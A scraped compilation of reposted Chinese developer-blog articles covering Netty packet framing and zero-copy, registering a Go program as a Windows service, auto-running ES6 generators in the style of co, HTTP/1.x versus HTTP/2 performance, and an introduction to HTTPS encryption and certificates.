        ByteBuf buffer = ctx.alloc().buffer();        
        buffer.writeBytes(bytes);        
        return buffer;    
    }
}

从client端读取到的数据为：

从服务端的控制台输出可以看出，存在三种类型的输出

一种是正常的字符串输出。
一种是多个字符串“粘”在了一起，我们定义这种 ByteBuf 为粘包。
一种是一个字符串被“拆”开，形成一个破碎的包，我们定义这种 ByteBuf 为半包。

透过现象分析原因

应用层面使用了Netty，但是对于操作系统来说，只认TCP协议，尽管我们的应用层是按照 ByteBuf 为单位来发送数据，server按照Bytebuf读取，但是到了底层操作系统仍然是按照字节流发送数据，因此，数据到了服务端，也是按照字节流的方式读入，然后到了 Netty 应用层面，重新拼装成 ByteBuf，而这里的 ByteBuf 与客户端按顺序发送的 ByteBuf 可能是不对等的。因此，我们需要在客户端根据自定义协议来组装我们应用层的数据包，然后在服务端根据我们的应用层的协议来组装数据包，这个过程通常在服务端称为拆包，而在客户端称为粘包。

拆包和粘包是相对的，一端粘了包，另外一端就需要将粘过的包拆开，发送端将三个数据包粘成两个 TCP 数据包发送到接收端，接收端就需要根据应用协议将两个数据包重新组装成三个数据包。### 如何解决

在没有 Netty 的情况下，用户如果自己需要拆包，基本原理就是不断从 TCP 缓冲区中读取数据，每次读取完都需要判断是否是一个完整的数据包如果当前读取的数据不足以拼接成一个完整的业务数据包，那就保留该数据，继续从 TCP 缓冲区中读取，直到得到一个完整的数据包。如果当前读到的数据加上已经读取的数据足够拼接成一个数据包，那就将已经读取的数据拼接上本次读取的数据，构成一个完整的业务数据包传递到业务逻辑，多余的数据仍然保留，以便和下次读到的数据尝试拼接。

而在Netty中，已经造好了许多类型的拆包器，我们直接用就好：

选好拆包器后，在代码中client段和server端将拆包器加入到chanelPipeline之中就好了:

如上实例中：

客户端：

1	复制代码ch.pipeline().addLast(new FixedLengthFrameDecoder(31));

服务端：

1	复制代码ch.pipeline().addLast(new FixedLengthFrameDecoder(31));

Netty 的零拷贝

传统意义的拷贝

是在发送数据的时候，传统的实现方式是：

File.read(bytes)
Socket.send(bytes)
这种方式需要四次数据拷贝和四次上下文切换：

数据从磁盘读取到内核的read buffer
数据从内核缓冲区拷贝到用户缓冲区
数据从用户缓冲区拷贝到内核的socket buffer
数据从内核的socket buffer拷贝到网卡接口（硬件）的缓冲区### 零拷贝的概念

明显上面的第二步和第三步是没有必要的，通过java的FileChannel.transferTo方法，可以避免上面两次多余的拷贝（当然这需要底层操作系统支持）

调用transferTo,数据从文件由DMA引擎拷贝到内核read buffer2. 接着DMA从内核read buffer将数据拷贝到网卡接口buffer上面的两次操作都不需要CPU参与，所以就达到了零拷贝。### Netty中的零拷贝

主要体现在三个方面：1、bytebufferNetty发送和接收消息主要使用bytebuffer，bytebuffer使用对外内存（DirectMemory）直接进行Socket读写。

原因：如果使用传统的堆内存进行Socket读写，JVM会将堆内存buffer拷贝一份到直接内存中然后再写入socket，多了一次缓冲区的内存拷贝。DirectMemory中可以直接通过DMA发送到网卡接口2、Composite Buffers传统的ByteBuffer，如果需要将两个ByteBuffer中的数据组合到一起，我们需要首先创建一个size=size1+size2大小的新的数组，然后将两个数组中的数据拷贝到新的数组中。但是使用Netty提供的组合ByteBuf，就可以避免这样的操作，因为CompositeByteBuf并没有真正将多个Buffer组合起来，而是保存了它们的引用，从而避免了数据的拷贝，实现了零拷贝。3、对于FileChannel.transferTo的使用Netty中使用了FileChannel的transferTo方法，该方法依赖于操作系统实现零拷贝。Netty 内部执行流程

服务端：

1、创建ServerBootStrap实例
2、设置并绑定Reactor线程池：EventLoopGroup，EventLoop就是处理所有注册到本线程的Selector上面的Channel
3、设置并绑定服务端的channel
4、5、创建处理网络事件的ChannelPipeline和handler，网络时间以流的形式在其中流转，handler完成多数的功能定制：比如编解码 SSl安全认证
6、绑定并启动监听端口
7、当轮训到准备就绪的channel后，由Reactor线程：NioEventLoop执行pipline中的方法，最终调度并执行channelHandler ### 客户端

总结

以上就是我对Netty相关知识整理，如果有不同的见解，欢迎讨论！

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

Go语言和Windows服务

发表于 2018-10-21

Windows服务使您能够创建在后台Windows会话中可长时间运行的可执行应用程序。Windows服务可以在计算机启动时自动启动，管理员也可以临时暂停和重新启动服务。Windows服务非常适合运行一些需要长时间在后台运行的服务器程序，例如Web服务器等应用。

Go语言的官方扩展包"golang.org/x/sys/windows"以及其子包对Windows服务提供了必要的支持。不过这个扩展包比较偏向底层使用比较繁琐，为了简化Windows服务的开发作者在此基础上封装了一个简化的"github.com/chai2010/winsvc"包。通过封装的winsvc包我们可以很容易构造一个windows服务。

简单的web服务

因为Windows服务一般是在后台长时间运行的程序，为了便于演示我们先构造一个简单的现实当前服务器时间的http服务程序。



package main


import (


    "context"


    "net"


    "net/http"


    "time"


)


var (


    server \*http.Server


)


func main() {


    StartServer()


}


func StartServer() {


    log.Println("StartServer, port = 8080")


    http.HandleFunc("/", func(w http.ResponseWriter, r \*http.Request) {


        fmt.Fprintln(w, "winsrv server", time.Now())


    })


    server = &http.Server{Addr: ":8080"}


    server.ListenAndServe()


}


func StopServer() {


    if server != nil {


        server.Shutdown(context.Background()) // Go 1.8+


    }


    log.Println("StopServer")


}

其中，StartServer和StopServer函数分别对应服务的启动和停止操作。在这个程序中，StopServer函数并没有用到，我们只需要通过CTRL+C强制停止服务就可以了。但是对于Windows服务程序，我们不能用暴力的方式强制终止程序，因此需要封装一个程序可以主动停止的函数。

Windows服务的运行环境

因为普通的程序无法处理Windows服务特有的消息，普通的Go程序也无法在服务模式运行。我们通过"github.com/chai2010/winsvc"包启动的服务可以吹Windows服务特有的消息，因此也就可以支持服务模式运行。同时Windows服务程序需要在后台长时间运行不能随意退出，普通的小程序是不能作为Windows服务来运行的。

如果要提供Windows服务模式的支持, main需要做适当调整:



import (


    "github.com/chai2010/winsvc"


)


func main() {


    // run as service


    if !winsvc.IsAnInteractiveSession() {


        log.Println("main:", "runService")


        if err := winsvc.RunAsService("myserver", StartServer, StopServer, false); err != nil {


            log.Fatalf("svc.Run: %v\n", err)


        }


        return


    }


    // run as normal


    StartServer()


}

程序中通过winsvc.IsAnInteractiveSession来判断是否运行在交互模式，普通程序运行一般都是交互模式，windows服务则是运行在非交互模式。当程序处在非交互模式时，我们通过winsvc.RunAsService来运行服务，也就是以Windows服务的模式运行。同时该程序依然可以在普通模式下运行。

当程序运行在名为myserver服务模式时，提供对Windows服务相关消息的处理支持。可以通过管理员手工注册Windows服务，这时需要指定服务名称和服务程序的绝对路径。下面四个命令分别是注册服务、启动服务、停止服务、删除服务：



sc  create myserver binPath= "C:\path\to\myserver.exe -data-dir=C:\path\myserver.data"


net start  myserver


net stop   myserver


sc  delete myserver

因为Windows服务启动时并不需要登录用户帐号，因此程序不能引用普通帐号的环境变量，同时要尽量避免通过相对路径依赖当前目录。

自动注册服务

手工注释Windows服务比较繁琐，我们可以在程序的命令行参赛中增加自动注册服务的支持。

要在程序中将程序本身注册为服务，首先需要获取当前程序的绝对路径。我们可以通过winsvc.GetAppPath()来获取当前程序的绝对路径。同时，为了让服务程序在运行时有一个固定的当前目录，我们一般可以在启动的时候将当前目录切换到进程所在目录，这些工作可以在init函数中完成：



var (


    appPath string // 程序的绝对路径


)


func init() {


    var err error


    if appPath, err = winsvc.GetAppPath(); err != nil {


        log.Fatal(err)


    }


    if err := os.Chdir(filepath.Dir(appPath)); err != nil {


        log.Fatal(err)


    }


}

注册服务可以通过winsvc.InstallService实现，注册服务是需要指定服务程序的路径和唯一服务的名称：



func main() {


    if err := winsvc.InstallService(appPath, "myserver", "myserver service"); err != nil {


        log.Fatal(err)


    }


    fmt.Printf("Done\n")


}

和注册服务相对应的是取消注册服务，取消注册服务可以通过winsvc.RemoveService实现，直接通过服务的名称就可以删除服务：



func main() {


    if err := winsvc.RemoveService("myserver"); err != nil {


        log.Fatal(err)


    }


    fmt.Printf("Done\n")


}

Windows服务在成功注册之后就可以以服务模式运行了，可以通过winsvc.StartService向服务发送启动消息：



func main() {


    if err := winsvc.StartService("myserver"); err != nil {


        log.Fatal(err)


    }


    fmt.Printf("Done\n")


}

对于已经在运行的Windows服务，可以通过winsvc.StopService向服务发送停止运行的命令。Windows服务在收到停止运行的命令后，会在程序退出之前调用StopServer函数，StopServer函数是在启动Windows服务时由 winsvc.RunAsService函数参数指定。



func main() {


    if err := winsvc.StopService("myserver"); err != nil {


        log.Fatal(err)


    }


    fmt.Printf("Done\n")


}

现在我们可以将这些功能整合在一起，然后通过命令行参数来选择具体的命令。下面是完整的例子：



var (


    appPath string


    flagServiceName = flag.String("service-name", "myserver", "Set service name")


    flagServiceDesc = flag.String("service-desc", "myserver service", "Set service description")


    flagServiceInstall   = flag.Bool("service-install", false, "Install service")


    flagServiceUninstall = flag.Bool("service-remove", false, "Remove service")


    flagServiceStart     = flag.Bool("service-start", false, "Start service")


    flagServiceStop      = flag.Bool("service-stop", false, "Stop service")


)


func init() {


    // change to current dir


    var err error


    if appPath, err = winsvc.GetAppPath(); err != nil {


        log.Fatal(err)


    }


    if err := os.Chdir(filepath.Dir(appPath)); err != nil {


        log.Fatal(err)


    }


}


func main() {


    flag.Parse()


    // install service


    if \*flagServiceInstall {


        if err := winsvc.InstallService(appPath, \*flagServiceName, \*flagServiceDesc); err != nil {


            log.Fatalf("installService(%s, %s): %v\n", \*flagServiceName, \*flagServiceDesc, err)


        }


        fmt.Printf("Done\n")


        return


    }


    // remove service


    if \*flagServiceUninstall {


        if err := winsvc.RemoveService(\*flagServiceName); err != nil {


            log.Fatalln("removeService:", err)


        }


        fmt.Printf("Done\n")


        return


    }


    // start service


    if \*flagServiceStart {


        if err := winsvc.StartService(\*flagServiceName); err != nil {


            log.Fatalln("startService:", err)


        }


        fmt.Printf("Done\n")


        return


    }


    // stop service


    if \*flagServiceStop {


        if err := winsvc.StopService(\*flagServiceName); err != nil {


            log.Fatalln("stopService:", err)


        }


        fmt.Printf("Done\n")


        return


    }


    // run as service


    if !winsvc.InServiceMode() {


        log.Println("main:", "runService")


        if err := winsvc.RunAsService(\*flagServiceName, StartServer, StopServer, false); err != nil {


            log.Fatalf("svc.Run: %v\n", err)


        }


        return


    }


    // run as normal


    StartServer()


}

假设程序构成的目标文件为myserver.exe，那么我们现在可以通过以下命令来分别注册服务、启动和停止服务、删除服务：



# 普通模式运行


$ go build -o myserver.exe myserver.go


$ myserver.exe


# 注册为Windows服务


$ myserver.exe -service-install


# 启动和停止Windows服务


$ myserver.exe -service-start


$ myserver.exe -service-stop


# 删除服务


# 删除之前需要先停止服务


$ myserver.exe -service-remove

在前面的章节中，我们演示过一个WebDAV的服务。读者可以尝试实现一个支持Windows后台服务模式运行的WebDAV的服务器。

更多文章请访问: https://chai2010.cn

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

ES6 系列之 Generator 的自动执行

发表于 2018-10-18

单个异步任务

复制代码var fetch = require('node-fetch');

function* gen(){
    var url = 'https://api.github.com/users/github';
    var result = yield fetch(url);
    console.log(result.bio);
}

为了获得最终的执行结果，你需要这样做：

复制代码var g = gen();
var result = g.next();

result.value.then(function(data){
    return data.json();
}).then(function(data){
    g.next(data);
});

首先执行 Generator 函数，获取遍历器对象。

然后使用 next 方法，执行异步任务的第一阶段，即 fetch(url)。

注意，由于 fetch(url) 会返回一个 Promise 对象，所以 result 的值为：

1	复制代码{ value: Promise { <pending> }, done: false }

最后我们为这个 Promise 对象添加一个 then 方法，先将其返回的数据格式化(data.json())，再调用 g.next，将获得的数据传进去，由此可以执行异步任务的第二阶段，代码执行完毕。

多个异步任务

上节我们只调用了一个接口，那如果我们调用了多个接口，使用了多个 yield，我们岂不是要在 then 函数中不断的嵌套下去……

所以我们来看看执行多个异步任务的情况：

复制代码var fetch = require('node-fetch');

function* gen() {
    var r1 = yield fetch('https://api.github.com/users/github');
    var r2 = yield fetch('https://api.github.com/users/github/followers');
    var r3 = yield fetch('https://api.github.com/users/github/repos');

    console.log([r1.bio, r2[0].login, r3[0].full_name].join('\n'));
}

为了获得最终的执行结果，你可能要写成：

复制代码var g = gen();
var result1 = g.next();

result1.value.then(function(data){
    return data.json();
})
.then(function(data){
    return g.next(data).value;
})
.then(function(data){
    return data.json();
})
.then(function(data){
    return g.next(data).value
})
.then(function(data){
    return data.json();
})
.then(function(data){
    g.next(data)
});

但我知道你肯定不想写成这样……

其实，利用递归，我们可以这样写：

复制代码function run(gen) {
    var g = gen();

    function next(data) {
        var result = g.next(data);

        if (result.done) return;

        result.value.then(function(data) {
            return data.json();
        }).then(function(data) {
            next(data);
        });

    }

    next();
}

run(gen);

其中的关键就是 yield 的时候返回一个 Promise 对象，给这个 Promise 对象添加 then 方法，当异步操作成功时执行 then 中的 onFullfilled 函数，onFullfilled 函数中又去执行 g.next，从而让 Generator 继续执行，然后再返回一个 Promise，再在成功时执行 g.next，然后再返回……

启动器函数

在 run 这个启动器函数中，我们在 then 函数中将数据格式化 data.json()，但在更广泛的情况下，比如 yield 直接跟一个 Promise，而非一个 fetch 函数返回的 Promise，因为没有 json 方法，代码就会报错。所以为了更具备通用性，连同这个例子和启动器，我们修改为：

复制代码var fetch = require('node-fetch');

function* gen() {
    var r1 = yield fetch('https://api.github.com/users/github');
    var json1 = yield r1.json();
    var r2 = yield fetch('https://api.github.com/users/github/followers');
    var json2 = yield r2.json();
    var r3 = yield fetch('https://api.github.com/users/github/repos');
    var json3 = yield r3.json();

    console.log([json1.bio, json2[0].login, json3[0].full_name].join('\n'));
}

function run(gen) {
    var g = gen();

    function next(data) {
        var result = g.next(data);

        if (result.done) return;

        result.value.then(function(data) {
            next(data);
        });

    }

    next();
}

run(gen);

只要 yield 后跟着一个 Promise 对象，我们就可以利用这个 run 函数将 Generator 函数自动执行。

回调函数

yield 后一定要跟着一个 Promise 对象才能保证 Generator 的自动执行吗？如果只是一个回调函数呢？我们来看个例子：

首先我们来模拟一个普通的异步请求：

复制代码function fetchData(url, cb) {
    setTimeout(function(){
        cb({status: 200, data: url})
    }, 1000)
}

我们将这种函数改造成：

复制代码function fetchData(url) {
    return function(cb){
        setTimeout(function(){
            cb({status: 200, data: url})
        }, 1000)
    }
}

对于这样的 Generator 函数：

复制代码function* gen() {
    var r1 = yield fetchData('https://api.github.com/users/github');
    var r2 = yield fetchData('https://api.github.com/users/github/followers');

    console.log([r1.data, r2.data].join('\n'));
}

如果要获得最终的结果：

复制代码var g = gen();

var r1 = g.next();

r1.value(function(data) {
    var r2 = g.next(data);
    r2.value(function(data) {
        g.next(data);
    });
});

如果写成这样的话，我们会面临跟第一节同样的问题，那就是当使用多个 yield 时，代码会循环嵌套起来……

同样利用递归，所以我们可以将其改造为：

复制代码function run(gen) {
    var g = gen();

    function next(data) {
        var result = g.next(data);

        if (result.done) return;

        result.value(next);
    }

    next();
}

run(gen);

run

由此可以看到 Generator 函数的自动执行需要一种机制，即当异步操作有了结果，能够自动交回执行权。

而两种方法可以做到这一点。

（1）回调函数。将异步操作进行包装，暴露出回调函数，在回调函数里面交回执行权。

（2）Promise 对象。将异步操作包装成 Promise 对象，用 then 方法交回执行权。

在两种方法中，我们各写了一个 run 启动器函数，那我们能不能将这两种方式结合在一些，写一个通用的 run 函数呢？我们尝试一下：

复制代码// 第一版
function run(gen) {
    var gen = gen();

    function next(data) {
        var result = gen.next(data);
        if (result.done) return;

        if (isPromise(result.value)) {
            result.value.then(function(data) {
                next(data);
            });
        } else {
            result.value(next)
        }
    }

    next()
}

function isPromise(obj) {
    return 'function' == typeof obj.then;
}

module.exports = run;

其实实现的很简单，判断 result.value 是否是 Promise，是就添加 then 函数，不是就直接执行。

return Promise

我们已经写了一个不错的启动器函数，支持 yield 后跟回调函数或者 Promise 对象。

现在有一个问题需要思考，就是我们如何获得 Generator 函数的返回值呢？又如果 Generator 函数中出现了错误，就比如 fetch 了一个不存在的接口，这个错误该如何捕获呢？

这很容易让人想到 Promise，如果这个启动器函数返回一个 Promise，我们就可以给这个 Promise 对象添加 then 函数，当所有的异步操作执行成功后，我们执行 onFullfilled 函数，如果有任何失败，就执行 onRejected 函数。

我们写一版：

复制代码// 第二版
function run(gen) {
    var gen = gen();

    return new Promise(function(resolve, reject) {

        function next(data) {
            try {
                var result = gen.next(data);
            } catch (e) {
                return reject(e);
            }

            if (result.done) {
                return resolve(result.value)
            };

            var value = toPromise(result.value);

            value.then(function(data) {
                next(data);
            }, function(e) {
                reject(e)
            });
        }

        next()
    })

}

function isPromise(obj) {
    return 'function' == typeof obj.then;
}

function toPromise(obj) {
    if (isPromise(obj)) return obj;
    if ('function' == typeof obj) return thunkToPromise(obj);
    return obj;
}

function thunkToPromise(fn) {
    return new Promise(function(resolve, reject) {
        fn(function(err, res) {
            if (err) return reject(err);
            resolve(res);
        });
    });
}

module.exports = run;

与第一版有很大的不同：

首先，我们返回了一个 Promise，当 result.done 为 true 的时候，我们将该值 resolve(result.value)，如果执行的过程中出现错误，被 catch 住，我们会将原因 reject(e)。

其次，我们会使用 thunkToPromise 将回调函数包装成一个 Promise，然后统一的添加 then 函数。在这里值得注意的是，在 thunkToPromise 函数中，我们遵循了 error first 的原则，这意味着当我们处理回调函数的情况时：

复制代码// 模拟数据请求
function fetchData(url) {
    return function(cb) {
        setTimeout(function() {
            cb(null, { status: 200, data: url })
        }, 1000)
    }
}

在成功时，第一个参数应该返回 null，表示没有错误原因。

优化

我们在第二版的基础上将代码写的更加简洁优雅一点，最终的代码如下：

复制代码// 第三版
function run(gen) {

    return new Promise(function(resolve, reject) {
        if (typeof gen == 'function') gen = gen();

        // 如果 gen 不是一个迭代器
        if (!gen || typeof gen.next !== 'function') return resolve(gen)

        onFulfilled();

        function onFulfilled(res) {
            var ret;
            try {
                ret = gen.next(res);
            } catch (e) {
                return reject(e);
            }
            next(ret);
        }

        function onRejected(err) {
            var ret;
            try {
                ret = gen.throw(err);
            } catch (e) {
                return reject(e);
            }
            next(ret);
        }

        function next(ret) {
            if (ret.done) return resolve(ret.value);
            var value = toPromise(ret.value);
            if (value && isPromise(value)) return value.then(onFulfilled, onRejected);
            return onRejected(new TypeError('You may only yield a function, promise ' +
                'but the following object was passed: "' + String(ret.value) + '"'));
        }
    })
}

function isPromise(obj) {
    return 'function' == typeof obj.then;
}

function toPromise(obj) {
    if (isPromise(obj)) return obj;
    if ('function' == typeof obj) return thunkToPromise(obj);
    return obj;
}

function thunkToPromise(fn) {
    return new Promise(function(resolve, reject) {
        fn(function(err, res) {
            if (err) return reject(err);
            resolve(res);
        });
    });
}

module.exports = run;

co

如果我们再将这个启动器函数写的完善一些，我们就相当于写了一个 co，实际上，上面的代码确实是来自于 co……

而 co 是什么？ co 是大神 TJ Holowaychuk 于 2013 年 6 月发布的一个小模块，用于 Generator 函数的自动执行。

如果直接使用 co 模块，这两种不同的例子可以简写为：

复制代码// yield 后是一个 Promise
var fetch = require('node-fetch');
var co = require('co');

function* gen() {
    var r1 = yield fetch('https://api.github.com/users/github');
    var json1 = yield r1.json();
    var r2 = yield fetch('https://api.github.com/users/github/followers');
    var json2 = yield r2.json();
    var r3 = yield fetch('https://api.github.com/users/github/repos');
    var json3 = yield r3.json();

    console.log([json1.bio, json2[0].login, json3[0].full_name].join('\n'));
}

co(gen);

复制代码// yield 后是一个回调函数
var co = require('co');

function fetchData(url) {
    return function(cb) {
        setTimeout(function() {
            cb(null, { status: 200, data: url })
        }, 1000)
    }
}

function* gen() {
    var r1 = yield fetchData('https://api.github.com/users/github');
    var r2 = yield fetchData('https://api.github.com/users/github/followers');

    console.log([r1.data, r2.data].join('\n'));
}

co(gen);

是不是特别的好用？

ES6 系列

ES6 系列目录地址：github.com/mqyqingfeng…

ES6 系列预计写二十篇左右，旨在加深 ES6 部分知识点的理解，重点讲解块级作用域、标签模板、箭头函数、Symbol、Set、Map 以及 Promise 的模拟实现、模块加载方案、异步处理等内容。

如果有错误或者不严谨的地方，请务必给予指正，十分感谢。如果喜欢或者有所启发，欢迎 star，对作者也是一种鼓励。

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

HTTP20，HTTP11，HTTP10三者在通性性能

发表于 2018-10-18

本文从从通信性能角度，来分析对比HTTP1.0和HTTP1.1之间的区别。以及HTTP1.1与HTTP2.0之间的区别。本文详细内容组织如下

一丶HTTP1.0与HTTP1.1通信性能上的区别

持久化连接
管线化技术

二丶HTTP2.0与HTTP1.1通信性能上的区别

多路复用
HTTP协议头部压缩

正文

一丶HTTP1.0与HTTP1.1通信性能上的区别

持久化连接

HTTP1.1是默认支持持久化连接的。HTTP1.0若要支持持久化连接需要显示指定Keep-alived报文头。

1. 非持久化连接下HTTP协议的通信

+ 比如访问www.taobao.com这个URL。访问该URL时，首先会从目标服务器上到HTML这样的静态资源，服务器返回资源后会自动断开连接，这是一次非持久的HTTP通信过程。在该过程中包括TCP三次握手和四次挥手。
+ 更进一步考虑，静态HTML上必然包括很多图片，js，css等资源，这些资源全部都是存储在服务器上。对这些资源的访问会重复上述的HTTP通信过程，其中又包括了TCP三次握手和四次挥手。这种反复建立和释放TCP连接的过程无疑浪费了服务器很多的带宽资源，也降低了Web页面的加载速度。**非持久化连接下HTTP协议的通信过程如下图所示**![非持久化连接下的通信](https://gitee.com/songjianzaina/juejin_p13/raw/master/img/1a36669b340823a399a9921e6594f6b2af753df1b48053acbb4eb4d5c12a80e2)

2. 持久化连接下HTTP协议的通信

持久化连接很易懂。在一次HTTP通性过程后，服务器若没有受到显示关闭连接的通知其不会断开连接，而是一直保持该连接。如此一来，在访问诸如www.taobao.com这样的页面时，页面上的多数资源能够在一条TCP链接上传输。这样极大的减少了多次TCP连接，释放带来的性能损失。**持久化连接下的通信如下图所示**

持久化连接下的通信

+ 管线化技术管线化技术是在持久化连接的基础上，进一步对通信性能的提升。在持久化连接下，请求和相应是顺次进行的。上次请求得到响应后，才能发送下次请求。**管线化技术就是指能在未收到响应时，顺次发送多个响应。**

基于管线化下的通信流程

二丶HTTP2.0与HTTP1.1之间通信性能对比

多路复用技术

多路复用技术建立在持久连接的基础上，允许所有请求公用同一连接，并且能够并行传输。此处的多路复用技术和管线化技术值不同之处在于:。

* 管线化技术中所有，请求是顺次发送出去的。而多路复用中，所有请求是并行发送出去的。
![非持久，持久化，管线化，多路复用技术对比](https://gitee.com/songjianzaina/juejin_p13/raw/master/img/2cfddf43aafc5134a8ce450cbb340e28977bbe1877ab9d1c268cdc6b1d6372ff)

报文头压缩

报文头压缩同样比较容易理解，减小HTTP报文中头部字段的开销，提供通信效率。采用报文头压缩主要是两个原因:

(1)对于单个HTTP报文而言，当携带较少的通信数据时，报文头部大小将远远大于有效的通信数据，导致带宽利用率较低。

(2)在持久化连接下，传送的多个HTTP报文之间，经常存在重复报文头字段在传输。

HTTP2.0提出的报文头压缩算法针对上述两点均做了优化:

* 基于静态字典压缩
在HTTP协议中的客户端以及服务端之间，共同维护了一份静态字典。该静态字典中存储了大量常见的HTTP报文头字段。比如下述，静态字典:


![静态字典](https://gitee.com/songjianzaina/juejin_p13/raw/master/img/ca76da2c84bb535cc67bb7992e3e46027dc049ff6b13847d621d324a04b3666f)




静态字典中，保留了两种情况:
    + 完整的报文头以及字段值，比如Content-Language:zh-CN。
    + 完整报文头，比如User-agent。在静态字典的基础上，可以利用静态字典中的索引号代替HTTP中的报文头，一般来说一个字节就足以覆盖静态字典中的所有索引号了。如下图所示，利用一个字节格式，来代替HTTP报文头，index是静态字典中的索引号。

利用一个字节代替报文头部

* 基于动态字典压缩


静态字典并不能够涵盖HTTP头部键值对所有的组合情况，为此在静态字典压缩的基础上补充了动态字典压缩。


动态字典压缩过程比较简单。如果遇见在静态字典中不存在的HTTP头部字段，那么此处采用非压缩传输，接着把该头部字段添加到动态字段中。当下次传送同样的头部字段时，则可以依据动态字典的内容对该头部字段进行压缩了。


    1. **当通信过程越长导致动态字典积累的内容将越多，因此HTTP头部压缩的效果越佳**
    2. **动态字典的内容会在连接新建立的时候重置。**

本文转载自: 掘金

开发者博客 – 和开发相关的这里全都有

HTTPS为什么安全 &分析 HTTPS 连接建立全过程

发表于 2018-10-12

本文将分两个专题去理解HTTPS。

专题一：HTTPS为什么安全

1、http为什么不安全？

http协议属于明文传输协议，交互过程以及数据传输都没有进行加密，通信双方也没有进行任何认证，通信过程非常容易遭遇劫持、监听、篡改，严重情况下，会造成恶意的流量劫持等问题，甚至造成个人隐私泄露（比如银行卡卡号和密码泄露）等严重的安全问题。

可以把http通信比喻成寄送信件一样，A给B寄信，信件在寄送过程中，会经过很多的邮递员之手，他们可以拆开信读取里面的内容（因为http是明文传输的）。A的信件里面的任何内容（包括各类账号和密码）都会被轻易窃取。除此之外，邮递员们还可以伪造或者修改信件的内容，导致B接收到的信件内容是假的。

比如常见的，在http通信过程中，“中间人”将广告链接嵌入到服务器发给用户的http报文里，导致用户界面出现很多不良链接；或者是修改用户的请求头URL，导致用户的请求被劫持到另外一个网站，用户的请求永远到不了真正的服务器。这些都会导致用户得不到正确的服务，甚至是损失惨重。

2、https如何保证安全？

要解决http带来的问题，就要引入加密以及身份验证机制。

如果Server（以后简称服务器）给Client（以后简称客户端）的消息是密文的，只有服务器和客户端才能读懂，就可以保证数据的保密性。同时，在交换数据之前，验证一下对方的合法身份，就可以保证通信双方的安全。那么，问题来了，服务器把数据加密后，客户端如何读懂这些数据呢？这时服务器必须要把加密的密钥（对称密钥，后面会详细说明）告诉客户端，客户端才能利用对称密钥解开密文的内容。但是，服务器如果将这个对称密钥以明文的方式给客户端，还是会被中间人截获，中间人也会知道对称密钥，依然无法保证通信的保密性。但是，如果服务器以密文的方式将对称密钥发给客户端，客户端又如何解开这个密文，得到其中的对称密钥呢？

说到这里，大家是不是有点儿糊涂了？一会儿密钥，一会儿对称密钥，都有点儿被搞晕的节奏。在这里，提前给大家普及一下，这里的密钥，指的是非对称加解密的密钥，是用于TLS握手阶段的；对称密钥，指的是对称加解密的密钥，是用于后续传输数据加解密的。下面将详细说明。

这时，我们引入了非对称加解密的概念。在非对称加解密算法里，公钥加密的数据，有且只有唯一的私钥才能够解密，所以服务器只要把公钥发给客户端，客户端就可以用这个公钥来加密进行数据传输的对称密钥。客户端利用公钥将对称密钥发给服务器时，即使中间人截取了信息，也无法解密，因为私钥只部署在服务器，其他任何人都没有私钥，因此，只有服务器才能够解密。服务器拿到客户端的信息并用私钥解密之后，就可以拿到加解密数据用的对称密钥，通过这个对称密钥来进行后续通信的数据加解密。除此之外，非对称加密可以很好的管理对称密钥，保证每次数据加密的对称密钥都是不相同的，这样子的话，即使客户端病毒拉取到通信缓存信息，也无法窃取正常通信内容。

上述通信过程，可以画成以下交互图：

但是这样似乎还不够，如果通信过程中，在三次握手或者客户端发起HTTP请求过程中，客户端的请求被中间人劫持，那么中间人就可以伪装成“假冒客户端”和服务器通信；中间人又可以伪装成“假冒服务器”和客户端通信。接下来，我们详细阐述中间人获取对称密钥的过程：

中间人在收到服务器发送给客户端的公钥（这里是“正确的公钥”）后，并没有发给客户端，而是中间人将自己的公钥（这里中间人也会有一对公钥和私钥，这里称呼为“伪造公钥”）发给客户端。之后，客户端把对称密钥用这个“伪造公钥”加密后，发送过程中经过了中间人，中间人就可以用自己的私钥解密数据并拿到对称密钥，此时中间人再把对称密钥用“正确的公钥”加密发回给服务器。此时，客户端、中间人、服务器都拥有了一样的对称密钥，后续客户端和服务器的所有加密数据，中间人都可以通过对称密钥解密出来。

中间人获取对称密钥的过程如下：

为了解决此问题，我们引入了数字证书的概念。服务器首先生成公私钥，将公钥提供给相关机构（CA），CA将公钥放入数字证书并将数字证书颁布给服务器，此时服务器就不是简单的把公钥给客户端，而是给客户端一个数字证书，数字证书中加入了一些数字签名的机制，保证了数字证书一定是服务器给客户端的。中间人发送的伪造证书，不能够获得CA的认证，此时，客户端和服务器就知道通信被劫持了。加入了CA数字签名认证的SSL会话过程如下所示：

所以综合以上三点：非对称加密算法（公钥和私钥）交换对称密钥+数字证书验证身份（验证公钥是否是伪造的）+利用对称密钥加解密后续传输的数据=安全

3、https协议简介

为什么是简单地介绍https协议呢？因为https涉及的东西实在太多了，尤其是其中的加解密算法，十分复杂，作者本身对这些算法也研究不完，只是懂其中的一些皮毛而已。这部分仅仅是简单介绍一些关于https的最基本原理，为后面分析https的建立过程以及https优化等内容打下理论基础。

3.1 对称加密算法

对称加密是指：加密和解密使用相同密钥的算法。它要求发送方和接收方在安全通信之前，商定一个对称密钥。对称算法的安全性完全依赖于密钥，密钥泄漏就意味着任何人都可以对他们发送或接收的消息解密，所以密钥的保密性对通信至关重要。

3.1.1 对称加密又分为两种模式：流加密和分组加密

流加密是将消息作为字节流对待，并且使用数学函数分别作用在每一个字节位上。使用流加密时，每加密一次，相同的明文位会转换成不同的密文位。流加密使用了密钥流生成器，它生成的字节流与明文字节流进行异或，从而生成密文。

分组加密是将消息划分为若干个分组，这些分组随后会通过数学函数进行处理，每次一个分组。假设使用64位的分组密码，此时如果消息长度为640位，就会被划分成10个64位的分组（如果最后一个分组长度不到64，则用0补齐之后加到64位），每个分组都用一系列数学公式进行处理，最后得到10个加密文本分组。然后，将这条密文消息发送给对端。对端必须拥有相同的分组密码，以相反的顺序对10个密文分组使用前面的算法解密，最终得到明文消息。比较常用的分组加密算法有DES、3DES、AES。其中DES是比较老的加密算法，现在已经被证明不安全。而3DES是一个过渡的加密算法，相当于在DES基础上进行三重运算来提高安全性，但其本质上还是和DES算法一致。而AES是DES算法的替代算法，是现在最安全的对称加密算法之一。

3.1.2 对称加密算法的优缺点：

优点：计算量小、加密速度快、加密效率高。

缺点：

（1）交易双方都使用同样密钥，安全性得不到保证；

（2）每次使用对称加密算法时，都需要使用其他人不知道的惟一密钥，这会使得发收信息双方所拥有的钥匙数量呈几何级数增长，密钥管理成为负担。

3.2 非对称加密算法

